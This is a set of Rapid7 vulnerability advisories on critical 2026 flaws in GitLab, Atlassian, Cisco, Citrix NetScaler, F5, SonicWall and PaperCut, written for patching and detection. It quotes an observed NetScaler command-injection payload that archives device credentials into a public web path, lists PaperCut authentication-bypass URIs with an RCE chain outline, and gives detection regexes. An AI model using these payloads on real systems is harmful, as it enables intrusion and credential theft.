On October 12, 2026, GitLab published a critical patch release for CVE-2026-97229, an integer overflow or wraparound (CWE-190) in the CI/CD regular expression compiler affecting GitLab Community Edition (CE) and Enterprise Edition (EE). GitLab assigned the vulnerability a CVSSv3.1 score of 10.0. Under certain conditions, a remote attacker can execute arbitrary code on an affected GitLab server through a specially crafted regular expression stored in a malicious CI/CD configuration. While the vendor supplied CVSS score indicates that exploitation is fully unauthenticated, in reproducing the exploit it was noted that an attacker must have a mechanism to plant a malicious CI/CD configuration to a repository prior to triggering the vulnerability. On GitLab instances where new users can self register and create projects, this constraint is removed.

The vulnerability affects self-managed GitLab instances across all deployment types. GitLab.com is already running a patched version, and GitLab Dedicated customers do not need to take action.

As of this writing, there is no confirmed in-the-wild exploitation of CVE-2026-97229. However, Rapid7 Intelligence has independently reproduced arbitrary code execution on an unpatched, official GitLab CE image. Given the vulnerability's maximum CVSS score, network-accessible trigger, and code execution in a GitLab application worker, Rapid7 recommends upgrading affected self-managed instances on an urgent basis, outside of normal patch cycles.

Technical overview

Rapid7's testing found that an attacker must first be able to commit a malicious CI/CD configuration file .gitlab-ci.yml, and a repository path containing UTF-8 characters to a branch in a public project. For example, an ordinary account can satisfy this prerequisite by creating a public project on a self-managed GitLab instance where that functionality is permitted. 

The crafted regular expression initially compiles in a compact US-ASCII representation and passes GitLab's regular expression validation. When it is evaluated against a specially formed, valid UTF-8 repository path, Ruby's Onigmo regular expression engine recompiles it for the new encoding after those checks have completed. An integer overflow in the compiler's program-size calculation then causes invalid regular expression instructions to be generated. The resulting loss of control-flow integrity can be used to execute attacker-controlled Onigmo VM operations in the Ruby process and run an operating system command as the GitLab git user.

Rapid7 validated the complete chain against the official GitLab 19.4.1 CE Linux amd64 image with address space layout randomization enabled. The same input did not execute against the official patched 19.4.2 CE image. Further root cause and exploit-chain details will be included in a separate Rapid7 technical analysis.

Mitigation guidance

A vendor-provided patch is available to remediate CVE-2026-97229. Organizations running affected self-managed GitLab CE or EE instances should immediately upgrade to a fixed version, without waiting for a regular patch cycle:

Affected GitLab CE/EE versions

Fixed version

All versions from 19.2 before 19.2.8

19.2.8

All versions from 19.3 before 19.3.5

19.3.5

All versions from 19.4 before 19.4.2

19.4.2

GitLab.com has already been updated, and GitLab Dedicated customers do not need to take action. Until affected self-managed instances can be upgraded, restricting anonymous access to public projects and preventing untrusted users from creating or writing to public projects can reduce exposure to the exploit path demonstrated by Rapid7. These controls address only the demonstrated delivery path and do not remediate the vulnerable regular expression compiler.

For the latest mitigation guidance, please refer to GitLab's security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-97229 with an authenticated vulnerability check expected to be available in today’s (October 13) content release.

Updates

  • October 13, 2026: Initial publication.

    • Added Rapid7 PoC Github repo link.

CVE-2026-21589: Critical unauthenticated arbitrary file access in Atlassian products

By: Rapid7
7 October 2026 at 08:11

Overview

On October 5, 2026, Atlassian published a security advisory for CVE-2026-21589, a critical arbitrary file access vulnerability affecting eight products: Bitbucket Data Center, Confluence Data Center, Jira Service Management Data Center, Jira Software Data Center, Bamboo Data Center, Crowd Data Center, Crucible, and Fisheye. Atlassian assigned the vulnerability a CVSSv4 score of 9.3. An unauthenticated remote attacker who knows a target file's exact name and path can access it within the application's web root; the vulnerability does not provide directory listing or enumeration.

Atlassian's advisory treats all versions before the applicable fixed releases as affected, including unsupported versions. Affected Atlassian Cloud products have already been patched, and no action is required from Cloud customers.

Detailed technical analysis and file-read proof-of-concept scripts are public, so Rapid7 recommends patching on an emergency basis, outside of normal patch cycles, and reviewing access logs for attempted exploitation.

Technical overview

NVD lists files or directories accessible to external parties (CWE-552) as the weakness associated with CVE-2026-21589.

On October 6, watchTowr Labs published a technical analysis based on comparisons of vulnerable and patched Jira, Confluence, and Bitbucket packages. Their analysis identified a path traversal vulnerability in Atlassian's web-resource handling: double-colon (::) sequences can become path separators during request processing, allowing traversal components to reach the resource-loading code, resulting in the contents of arbitrary file being read back to an attacker.

Their testing could not traverse outside the Tomcat context, but could read files throughout the application web root. In an Atlassian Crowd deployment that had Jira configured, reading WEB-INF/classes/crowd.properties exposed application credentials. With network access to Crowd, they used those credentials to create a user and add it to jira-administrators; Crowd's IP allowlisting can block this direct route.

Mitigation guidance

Organizations should upgrade each affected installation to a listed fixed version or the latest available version. Atlassian's October 5 advisory lists the following fixed versions:

Product

Fixed versions

Bitbucket Data Center

9.4.26, 10.2.8, 10.5.1

Confluence Data Center

9.2.26, 10.2.19

Jira Service Management Data Center

5.12.40, 10.3.26, 11.3.12

Jira Software Data Center

9.12.40, 10.3.26, 11.3.12

Bamboo Data Center

10.2.24, 12.1.12

Crowd Data Center

6.3.7, 7.0.3, 7.1.7, 7.2.4

Crucible

4.9.15

Fisheye

4.9.15

Organizations unable to patch immediately should remove affected instances from the internet or otherwise restrict them from external network access. Atlassian provides a Web Application Firewall or proxy rule for all affected products, a Tomcat RewriteValve mitigation for Confluence, Jira Service Management, Jira Software, Bamboo, and Crowd, and a separate urlrewrite.xml rule for Bitbucket. These mitigations are limited and are not replacements for patching.

Rapid7 strongly recommends looking for signs of compromise even after the patch has been applied. Atlassian recommends URL-decoding each access-log request line up to twice, then searching for .. immediately adjacent to /, \, or ::. Alternatively, search raw logs with the vendor-supplied regex:

(?is).*(?:/|\\|::|%(?:25)*(?:2f|5c)|(?::|%(?:25)*3a){2})(?:\.|%(?:25)*2e){2}(?:/|\\|::|%(?:25)*(?:2f|5c)|(?::|%(?:25)*3a){2}|;|%(?:25)*3b|$).*

Public testing artifacts for Jira, Confluence, and Bitbucket include a Python file-read PoC and a Nuclei template. If investigation identifies access to protected configuration files, organizations should rotate exposed credentials and other secrets after containing the affected systems.

For the latest mitigation and investigation guidance, please refer to the vendor security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-21589 with unauthenticated vulnerability checks on Jira Software Data Center available in the October 8 content release.

Updates

  • October 7, 2026: Initial publication.

  • October 8, 2026: Updated Rapid7 Customers section to reflect availability of vulnerability checks.

Critical Cisco Catalyst SD-WAN Manager API authentication bypass exploited in the wild (CVE-2026-76504)

By: Rapid7
30 September 2026 at 11:09

Overview

On September 30, 2026, Cisco published a security advisory for CVE-2026-76504, a critical API authentication bypass vulnerability affecting Cisco Catalyst SD-WAN Manager. The vulnerability has a CVSSv3.1 score of 9.8 and results from improper handling of URL encoding (CWE-177). An unauthenticated, remote attacker can send a crafted HTTP request that bypasses an authentication rule for a specific API endpoint, gaining access to the API with the privileges of the admin user.

According to Cisco, CVE-2026-76504 is being actively exploited in the wild; Cisco PSIRT became aware of the activity in September 2026. Cisco Catalyst SD-WAN Manager systems with ports exposed to the internet are at risk of compromise. The vulnerability affects the product regardless of system configuration, and Cisco has not provided a workaround, however vendor supplied updates are available. Rapid7 strongly recommends that organizations upgrade affected systems to a fixed release on an emergency basis, outside of normal patch cycles, and investigate internet-facing systems for signs of exploitation.

Cisco Catalyst SD-WAN Manager was also affected by two critical, unauthenticated peering authentication flaws earlier in 2026: CVE-2026-20127 and Rapid7-discovered CVE-2026-20182. Both were distinct issues in the vdaemon service and similar parts of its networking stack. CVE-2026-76504 targets a separate API authentication path, but the recurrence of authentication bypasses in internet-facing Catalyst SD-WAN control components reinforces the need for emergency remediation.

On September 30, 2026, CVE-2026-76504 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. CISA set a remediation due date of October 3, 2026.

Mitigation guidance

Cisco has released software updates that remediate CVE-2026-76504. Organizations running affected instances of Cisco Catalyst SD-WAN Manager should upgrade to an appropriate fixed release listed below without waiting for a regular patch cycle:

Cisco Catalyst SD-WAN Software release

First fixed release

Earlier than 20.9

Migrate to a fixed release

20.9

20.9.10.1

20.12

20.12.8.2

20.15

20.15.6.1

20.18

20.18.4.1

26.1

26.1.2.1

26.2

26.2.1

Cisco has addressed the vulnerability in the cloud-based Cisco SD-WAN Cloud (Cisco Managed) release 20.15.605, and indicates that no customer action is required for that service.

There are no workarounds. As a temporary mitigation, Cisco recommends that on-premises customers prevent access to the system from unsecured networks. If internet access is required, restrict access to known, trusted hosts and protect Cisco Catalyst SD-WAN control components behind a filtering device. Cisco indicates that this mitigation is already deployed in Cisco Catalyst SD-WAN Cloud Hosted environments. Organizations should apply updates even when the mitigation is in place.

Because active exploitation has occurred, Rapid7 strongly recommends that organizations audit affected systems for compromise. For help assessing a potentially compromised system, Cisco customers may open a Severity 3 TAC case with CVE-2026-76504 in the title and provide an admin-tech file generated with the request admin-tech command.

For the latest mitigation guidance and release compatibility information, please refer to the vendor's security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-76504 with vulnerability checks expected to be available in the October 1 content release.

Indicators of compromise

Cisco recommends reviewing the following logs for requests related to j_security_check from unknown or unauthorized IP addresses:

  • /var/log/nms/containers/service-proxy/serviceproxy-access.log: Requests with an encoded character in the j_security_check path, such as POST /%6a_security_check HTTP/1.1.

  • /var/log/nms/vmanage-server.log: Requests to j_security_check associated with usernames beginning with viptela-reserved-.

The %6a value, which URI-encodes the character j, is only an example. According to Cisco, an attacker can exploit the vulnerability by encoding any single character in the request. The vendor cautions that these log entries can also occur during standard operations and should be evaluated against normal network posture to avoid false positives.

Updates

  • September 30, 2026: Initial publication.

  • October 1, 2026: Updated to reflect CVE-2026-76504 being added to the CISA KEV list.

Zero-Day Exploitation of Citrix NetScaler ADC and Gateway: CVE-2026-88771 and CVE-2026-88772

By: Rapid7
28 September 2026 at 06:05

Overview

On September 27, 2026, Citrix disclosed eight new vulnerabilities affecting NetScaler ADC and NetScaler Gateway, including two critical remote code execution (RCE) vulnerabilities: CVE-2026-88771 and CVE-2026-88772. Both of these RCE vulnerabilities carry a critical CVSSv4 score of 9.5, and both have been confirmed as being actively exploited in the wild as zero-days prior to the vendor disclosure. 

CVE-2026-88771 affects vulnerable NetScaler deployments in their default configuration, with no additional product features required. The vendor has also indicated that the attack complexity for exploiting CVE-2026-88771 is low, meaning reliable RCE is likely against all vulnerable NetScaler appliances regardless of their configuration. This is especially concerning due to the prevalence of NetScaler appliances.

CVE-2026-88772 is a memory corruption vulnerability and requires the DTLS feature to be enabled on the appliance. The vendor has indicated that the attack complexity is high, meaning achieving reliable exploitation may be more difficult for an attacker than that of CVE-2026-88771.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) reports active exploitation is occurring globally, and added both CVE-2026-88771 and CVE-2026-88772 to its Known Exploited Vulnerabilities (KEV) catalog on September 27, 2026. Multiple CERTs worldwide have begun issuing alerts due to the critical nature of this situation.

On October 4, 2026, Citrix published an advisory for a new NetScaler vulnerability, CVE-2026-88779. This new vulnerability was disclosed as being exploited in-the-wild as a zero-day prior to disclosure, and was added to CISA KEV the same day. CVE-2026-88779 affects NetScaler appliances that have a SAML service provider (SP) or identity provider (IdP) configured. Attackers can send repeated attempts, where each attempt will crash the SAML service, and upon the sixth crash the appliance will reboot.

The following table summarizes all nine vulnerabilities:

CVE

CVSSv4

Vulnerability

Exploitation confirmed

CVE-2026-88771

9.5 (Critical)

Improper input validation leading to RCE in a default configuration (CWE-20)

Yes (CISA)

CVE-2026-88772

9.5 (Critical)

Memory overflow leading to RCE in a DTLS configuration (CWE-119)

Yes (CISA)

CVE-2026-88773

9.3 (Critical)

HTTP request smuggling (CWE-444)

No

CVE-2026-88774

7.0 (High)

Policy bypass involving URL expressions (CWE-16)

No

CVE-2026-88775

8.8 (High)

Memory overflow in Gateway or AAA configuration (CWE-119)

No

CVE-2026-88776

8.8 (High)

Memory overflow in load balancer of type Oracle configuration (CWE-119)

No

CVE-2026-88777

8.8 (High)

Memory overflow in a LB/CS or CGNAT-LSN/NAT64 configuration (CWE-119)

No

CVE-2026-88778

8.8 (High)

Predictable TCP initial sequence numbers (CWE-342)

No

CVE-2026-88779

8.7 (High)

Memory overflow in SAML processing (CWE-119)

Yes (CISA)

Mitigation guidance

The following vendor-supplied updates are available to remediate the eight vulnerabilities disclosed on September 27. Rapid7 strongly recommends updating affected NetScaler appliances on an emergency basis, outside of normal patching cycles, and investigating vulnerable appliances for signs of compromise.

  • Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1-73.37 and later releases.

  • Citrix NetScaler ADC and Citrix NetScaler Gateway 13.1-64.23 and later releases of 13.1.

  • Citrix NetScaler ADC 14.1-FIPS, 14.1-73.37 FIPS and later releases of 14.1-FIPS.

  • Citrix NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1.37.279 and later releases of 13.1-FIPS and 13.1-NDcPP.

For the latest mitigation guidance, please refer to the vendor advisory.

To remediate CVE-2026-88779 which was disclosed on October 4, the following vendor-supplied update is available, and supersedes the above vendor supplied updates.

  • Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1-73.41 and later releases.

  • Citrix NetScaler ADC and Citrix NetScaler Gateway 13.1-64.28 and later releases of 13.1.

  • Citrix NetScaler ADC 14.1-FIPS, 14.1-73.41 FIPS and later releases of 14.1-FIPS.

  • Citrix NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1.37.282 and later releases of 13.1-FIPS and 13.1-NDcPP.

For the latest mitigation guidance for CVE-2026-88779, please refer to the vendor advisory.

Rapid7 MDR observed exploitation

Rapid7 observed the earliest exploitation attempts of CVE-2026-88771 at 2026-09-20T14:28:43 UTC. Only two attempts were seen on September 20, which does not indicate widespread exploitation at that time.

The command injection observed on September 20 is captured below:

Timestamp: 2026-09-20T14:28:43.000Z
Account: wfr
Result: FAILED_BAD_LOGIN
Source_ip: 149.104.78.208
Source_data: "Authentication is rejected for WFR pitboss PPE nsppe missed too many heartbeats NSPPE;tar${IFS}czf$IFS/var/netscaler/gui/vpn/c$IFS-C$IFS/flash${IFS}nsconfig; (client ip : 149.104.78.208 , vserver ip: <redacted>  ), extended error, if any : "

This payload executes tar czf /var/netscaler/gui/vpn/c -C /flash nsconfig, which creates a gzipped archive named c in /var/netscaler/gui/vpn/ containing the full contents of /flash/nsconfig.

This location is significant because the Gateway serves /var/netscaler/gui/vpn/ publicly at https://<gateway>/vpn/. Once the command runs, an unauthenticated request to GET https://<gateway>/vpn/c will return the archive to any requester, with no login required.

The /flash/nsconfig directory contains material that would give an attacker significant follow-on access, including:

  • ns.conf, the full device configuration, including encrypted passwords for the nsroot account and other admin accounts, as well as bind passwords for LDAP, RADIUS, and TACACS

  • ssl/, containing SSL certificates and private keys

  • SSH host keys, license files, and HA sync settings

As of this writing, Rapid7 has identified two organizations compromised through exploitation of CVE-2026-88771. The first compromise involved the command injection detailed above and the other involved a webshell placed at /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver (SHA256: ed082f744f035035900f67edf438f2f7d0528ac501234f63d476d65273cdb9a1), observed on September 24.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to all the CVEs listed in the blog with authenticated vulnerability checks available in the September 28 content release. A vulnerability check for CVE-2026-88779 is available in the October 6 content release.

Intelligence Hub

Customers leveraging Rapid7’s Intelligence Hub can track the latest developments surrounding CVE-2026-88771 and CVE-2026-88772, including indicators of compromise (IOCs) and Suricata detection rules.

Managed Detection Response (MDR)

The following detection rules are available for InsightIDR and Managed Detection Response (MDR) customers:

  • Suspicious Web Request -  Citrix NetScaler ADC and Gateway Appliance Exploitation (CVE-2026-88771)

Updates

  • September 28, 2026: Initial publication.

  • September 29, 2026: Suricata detection rules for CVE-2026-88771 are now available in Intelligence Hub.

  • September 30, 2026: Added Rapid7 MDR Observed Exploitation section to include details of the cases flagged by the SOC team.

  • September 30, 2026: Added Rapid7 MDR customers section.

  • October 5, 2026: Updated blog to include the new CVE-2026-88779 vulnerability.
  • October 6, 2026: Updated Rapid7 customers section to reflect availability of a check for CVE-2026-88779.

CVE-2026-94127: Critical Unauthenticated RCE in F5 BIG-IP APM

By: Rapid7
23 September 2026 at 04:43

Overview

On September 22, 2026, F5 published a security advisory for CVE-2026-94127, a critical heap-based buffer overflow vulnerability affecting F5 BIG-IP Access Policy Manager (APM). The vulnerability has a CVSS v3.1 score of 9.8. An unauthenticated attacker with network access to an affected virtual server may be able to achieve remote code execution (RCE) by sending specifically crafted traffic.

BIG-IP APM provides identity-aware access control for applications and other corporate resources and can integrate with authentication technologies including OAuth, OpenID Connect, and SAML. CVE-2026-94127 is not exposed in a default configuration: exploitation requires a BIG-IP virtual server with both an APM access policy and an OAuth profile configured. Because affected BIG-IP systems may process traffic at an organization's network edge, organizations using this configuration should prioritize remediation.

The vulnerability affects the data plane and does not expose the BIG-IP control plane. BIG-IP systems operating in Appliance mode are also affected.

F5 lists the following affected release trains and corresponding fixed hotfixes:

  • BIG-IP 21.1.0: versions prior to Hotfix-BIGIP-21.1.0.2.0.30.22-ENG

  • BIG-IP 17.5.0: versions prior to Hotfix-BIGIP-17.5.1.9.0.160.12-ENG

  • BIG-IP 17.1.0: versions prior to Hotfix-BIGIP-17.1.3.5.0.41.14-ENG

As of September 22, 2026, CVE-2026-94127 has been added to the CISA KEV while a publicly available proof of concept was not confirmed.

Mitigation guidance

Organizations running affected F5 BIG-IP deployments should apply the appropriate F5 hotfix as soon as operationally feasible, particularly where a vulnerable APM and OAuth configuration is reachable from untrusted networks.

F5 lists the following remediation versions:

  • BIG-IP 21.1.0: update to Hotfix-BIGIP-21.1.0.2.0.30.22-ENG or later.

  • BIG-IP 17.5.0: update to Hotfix-BIGIP-17.5.1.9.0.160.12-ENG or later.

  • BIG-IP 17.1.0: update to Hotfix-BIGIP-17.1.3.5.0.41.14-ENG or later.

Administrators should first determine whether a BIG-IP APM access policy and an OAuth profile are configured together on a virtual server, since this configuration is required for exposure.

For organizations that cannot immediately apply the applicable update, F5 provides an iRule workaround through F5 Support. Customers should open a support case with F5 to obtain the vendor-provided workaround and follow F5's implementation guidance.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, Nexpose customers can assess exposure to CVE-2026-94127 using vulnerability checks expected to be available in today’s (September 23) content release.

Updates

  • September 22, 2026: Initial publication.

CVE-2026-76461: Critical Cisco Secure Email Gateway Vulnerability Exploited in the Wild

By: Rapid7
15 September 2026 at 08:22

Overview

On September 14, 2026, Cisco published a security advisory for CVE-2026-76461, a critical SQL injection vulnerability affecting Cisco AsyncOS Software for Cisco Secure Email Gateway. The vulnerability has a reported CVSS v3.1 base score of 9.8 and could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on an affected appliance.

Cisco Secure Email Gateway, formerly known as IronPort Email Security Appliance, is an enterprise email security product that inspects inbound and outbound email for threats including phishing, malware, spam, and business email compromise. Because affected gateways process externally delivered email as part of their normal operation, exploitation does not require access to an administrative interface or authentication. An attacker can reportedly trigger the vulnerability by sending a specially crafted email through a vulnerable gateway.

CVE-2026-76461 was added to CISA's Known Exploited Vulnerabilities (KEV) catalog on the same day as the vendor disclosed the vulnerability, indicating that CVE-2026-76461 was exploited as a zero-day prior to disclosure. Cisco noted that their PSIRT became aware of active exploitation in September 2026. At the time of publication, there is no public proof-of-concept exploit code available, and no attribution for the current threat actor activity.

Mitigation guidance

Organizations running Cisco Secure Email Gateway should prioritize upgrading to a vendor-supplied fixed version on an emergency basis, outside of normal patching cycles.

Affected Version

Fixed Version

15.5 and earlier

15.5.5-014

16.0

16.0.4-302

16.5

16.5.0-780

Given the reported active exploitation and the ability to achieve unauthenticated root-level command execution through malicious email processing, organizations should prioritize patching rather than relying solely on network controls or monitoring. Cisco also strongly recommends that customers migrate to the latest product version, 16.5.0-780.

For the latest remediation guidance, see the vendor advisory.

Indicators of compromise

The following indicators of compromise for CVE-2026-76461 were reported within the Cisco security advisory.

To confirm any attempted exploitation of this vulnerability, review the mail_logs and look for suspicious SQL statements. If the device is part of a cluster, review the logs of each cluster device. The following is a non-exhaustive example of how a malicious SQL statement could be detected in the logs:
cisco-esa> grep -i "COPY.*TO PROGRAM" [IronPort Text Mail Logs Log name - Default: mail_logs]
The presence of any entry in the output may indicate malicious activity.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-76461 with a vulnerability check expected to be available in the September 16 content release.

Updates

  • September 15, 2026: Initial publication.

CVE-2026-85706: Critical GitLab Path Traversal Exploited in the Wild

By: Rapid7
14 September 2026 at 06:02

Overview

On September 10, 2026, GitLab published a critical patch release for GitLab Community Edition (CE) and Enterprise Edition (EE). The release addresses CVE-2026-85706, a critical path traversal vulnerability (CWE-22) in the repository commits API with a CVSSv3.1 score of 10.0. According to GitLab, improper path confinement and missing authentication enforcement could allow an unauthenticated user to read arbitrary files from an affected GitLab server under certain conditions.

On September 11, 2026, CVE-2026-85706 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation. CISA set a remediation due date of September 14, 2026, for affected Federal Civilian Executive Branch agencies and marked the vulnerability as subject to forensic triage requirements under Binding Operational Directive 26-04.

Organizations running affected self-managed GitLab instances should remediate CVE-2026-85706 on an emergency basis, outside of normal patch cycles.

Mitigation guidance

A vendor-supplied update is available to remediate CVE-2026-85706. Organizations running affected self-managed GitLab CE or EE instances should upgrade to a fixed version immediately.

Affected GitLab CE/EE versions

Fixed version

All versions from 18.7 before 19.1.8

19.1.8

All versions from 19.2 before 19.2.6

19.2.6

All versions from 19.3 before 19.3.2

19.3.2

GitLab.com is already running a patched version, and GitLab Dedicated customers do not need to take action. Per GitLab, all self-managed deployment types are affected, including Omnibus, source code, and Helm chart deployments.

The updates include database migrations. Single-node installations will experience downtime while the migrations run; multi-node deployments can use GitLab's zero-downtime upgrade procedure. Of the fixed releases, only 19.3.2 includes post-deployment migrations.

The patch release also addresses 17 other vulnerabilities. These include CVE-2026-87719, a critical insecure deserialization vulnerability (CWE-502) in GitLab EE with a CVSSv3.1 score of 9.9. GitLab states that, under certain conditions, an authenticated user with Duo Chat access could obtain Advanced Search instance configurations and sensitive credentials using a specially crafted GraphQL subscription argument. At the time of publication, only CVE-2026-85706 is known to be exploited in the wild.

Given the confirmed exploitation, Rapid7 strongly recommends looking for signs of compromise even after the update has been applied. Organizations subject to CISA's BOD 26-04 should also follow the forensic triage requirements associated with the KEV entry.

For the latest mitigation guidance, please refer to the vendor's security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-85706 with a vulnerability check available in the September 15 content release.

Updates

  • September 14, 2026: Initial publication.

Critical SonicWall SMA1000 Vulnerabilities CVE-2026-83548, CVE-2026-83549 Exploited in the Wild

By: Rapid7
2 September 2026 at 12:58

Overview

On September 1, 2026, SonicWall disclosed two vulnerabilities affecting SonicWall SMA1000 appliances that the vendor says are being actively exploited in the wild. The vulnerabilities, CVE-2026-83548 and CVE-2026-83549, can be chained to achieve unauthenticated remote code execution (RCE) on affected appliances.

CVE-2026-83548 is a critical pre-authentication server-side request forgery (SSRF) vulnerability in the SMA1000 Appliance Work Place interface. The flaw has a CVSS v3.1 base score of 10.0 and can allow a remote, unauthenticated attacker to access sensitive functionality and perform unauthorized operations through an unintended alternate access path.

CVE-2026-83549 is a high-severity OS command injection vulnerability in the Appliance Management Console (AMC). On its own, exploitation requires an authenticated administrator and specific system conditions. Although, by leveraging the SSRF vulnerability CVE-2026-83548 an attacker could potentially exploit CVE-2026-83549 to execute arbitrary OS commands without prior authentication.

SonicWall SMA1000 appliances are enterprise secure remote access gateways used to provide employees and other authorized users with access to internal applications and resources. Their role as network-edge systems makes successful exploitation particularly concerning, since affected Work Place interfaces may be exposed directly to the internet as part of normal deployment.

SonicWall has confirmed active exploitation of both vulnerabilities in the wild, and both CVE-2026-83548 and CVE-2026-83549 have been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. No public proof-of-concept exploit, indicators of compromise (IOCs), or attribution for the current activity were identified in the research available at the time of publication.

The vulnerabilities affect SMA1000 Models - 6210, 7210, 8200v running the following versions:

Vulnerable Versions

Fixed Versions

12.4.3-03453 platform-hotfix and earlier

12.4.3-03526 (platform-hotfix) and higher versions

12.5.0-02835 platform-hotfix and earlier

12.5.0-02952 (platform-hotfix) and higher versions.

Mitigation guidance

Organizations operating affected SonicWall SMA1000 appliances should prioritize applying SonicWall’s updated platform hotfixes immediately. Because exploitation was occurring before public disclosure, organizations should not rely solely on patching to determine whether an appliance has already been compromised.

SonicWall recommends upgrading affected appliances to:

  • 12.4.3-03526 platform-hotfix, for systems on the 12.4.3 branch

  • 12.5.0-02952 platform-hotfix, for systems on the 12.5.0 branch

Affected Product/Component:

  • SonicWall SMA1000 Appliance Work Place and Appliance Management Console

  • Version 12.4.3-03453 platform-hotfix and earlier are affected.

  • Version 12.5.0-02835 platform-hotfix and earlier are affected.

SonicWall additionally recommends that customers contact SonicWall Technical Support for assistance reviewing appliances for indicators of compromise.

If evidence of compromise is identified, SonicWall recommends:

  • Re-imaging affected hardware appliances or re-deploying affected virtual appliances.

  • Changing all user and administrator passwords.

  • Resetting Time-based One-Time Password (TOTP) tokens.

Given the confirmed exploitation of these vulnerabilities, organizations should treat potentially exposed appliances running vulnerable software as a priority for investigation as well as remediation.

Please read the SonicWall security advisory for the latest vendor guidance.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-83548 and CVE-2026-83549 in the SMA1000 Appliance series with vulnerability checks expected to be available in the September 3rd content release.

Updates

  • September 2, 2026: Initial publication.

  • September 3, 2026: CVE added to CISA KEV.

PaperCut NG/MF Critical Zero-Day Exploited in the Wild

By: Rapid7
28 August 2026 at 06:09

Overview

On August 27, 2026, PaperCut Software published an urgent security advisory stating that it is investigating active exploitation of a vulnerability affecting PaperCut NG and PaperCut MF. PaperCut has confirmed customer incidents and is treating the issue as a security emergency. At the initial time of disclosure, the vulnerability had not been assigned a CVE identifier, and PaperCut had not publicly disclosed a CVSS score, vulnerability class, authentication requirements, or the technical details of the exploit path. However on August 28, the vendor assigned CVE-2026-81578 and CVE-2026-82078 for the two vulnerabilities that make up the exploit chain.

CVE ID

Description

CWE

CVSSv4

CVE-2026-81578

Authentication Bypass

CWE-306 Missing authentication for critical function.

8.8 (High)

CVE-2026-82078

Unsafe Dynamic Class Loading in Database Connector

CWE-470 Use of Externally-Controlled input to select classes or code ('unsafe reflection').

9.4 (Critical)

PaperCut NG and PaperCut MF are print management platforms commonly deployed within enterprise, education, and other organizational environments. Because the PaperCut Application Server provides web-accessible administrative and application functionality, organizations with servers exposed to the public internet should prioritize remediation and access restriction.

PaperCut stated in its advisory that information supplied by a university customer’s security team and digital forensics and incident response team enabled its security response team to reproduce the vulnerability in PaperCut NG and PaperCut MF. On August 28, 2026 at 02:10 AEST, PaperCut released emergency patches for PaperCut NG and PaperCut MF versions 25 and 26, followed later the same day with patches for version 24.

PaperCut has been targeted in the past; in 2023, CVE-2023-27350 was broadly exploited in the wild by multiple threat-actor groups, including ransomware operators. This prior history increases the urgency organizations should address this new zero-day with.

PaperCut currently considers all versions of PaperCut NG and PaperCut MF potentially impacted. Customers operating internet-accessible PaperCut Application Servers should take immediate action even if no suspicious activity has been observed.

On August 31, 2026, both CVE-2026-81578 and CVE-2026-82078 were added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. A Metasploit module is now available to validate exposure to the exploit chain.

Technical overview

The vulnerability is an authentication bypass that lets attackers invoke privileged PaperCut components. This can be leveraged to reconfigure an external database lookup. When this lookup is triggered, malicious SQL can be executed, resulting in remote code execution.

PaperCut uses the Apache Tapestry framework, whose "complex direct" request format can identify one page to display and a different page containing the component to execute. PaperCut validates access only to the displayed page. By selecting either the public Error page or Exception page for display, an attacker can bypass authentication while invoking administrative components belonging to ConfigEditor or UserList. Additionally, the first emergency patch could be bypassed by using the Home page for display, however the newest version of the vendor patch correctly remediates this bypass.

The attack uses HTTP POST requests to the following URIs (Note that the path segment with the value 1 shown below can be any value for this path segment, and the Error path segment may also be the Exception or Home path segment):

/app?service=direct/1/Error/ConfigEditor/quickFindForm
/app?service=direct/1/Error/ConfigEditor/$Form
/app?service=direct/1/Error/UserList/$QuickFind.$Form

The first two URIs provide unauthenticated access to PaperCut's configuration editor. The third can invoke a user or card search that triggers the configured external database lookup.

An attacker first uses the ConfigEditor requests to modify four external user-lookup settings:

user-lookup.db-driver
user-lookup.db-url
user-lookup.id-to-username-sql
user-lookup.enabled

These settings normally allow administrators to connect PaperCut to an external card database. After bypassing authentication, however, the attacker can configure them with a malicious JDBC connection and a malicious SQL statement.

By leveraging PaperCut's bundled Apache Derby database driver and supplying a Derby CALL statement that activates its foreignViews feature, Derby opens an attacker-controlled H2 JDBC URL. H2 processes an inline INIT statement that creates a JavaScript-backed database trigger. PaperCut includes the Nashorn JavaScript engine, allowing that trigger to start an operating-system process. However it is expected that other mechanisms to execute an arbitrary command can also be used instead of Nashorn. Finally, the attacker submits a search through the forged UserList request. This activates the external lookup and executes the malicious SQL.

Mitigation guidance

Organizations running PaperCut NG or PaperCut MF should prioritize patching on an emergency basis, particularly where the PaperCut Application Server is accessible from the public internet.

PaperCut has released emergency patches for PaperCut NG and PaperCut MF versions 24, 25 and 26. 

Updated on September 1, 2026: Note that the vendor has released a third version of the emergency patch. Any organization that has applied either the original first version or the second version of the emergency patch is not fully protected, and must apply the third emergency patch immediately.

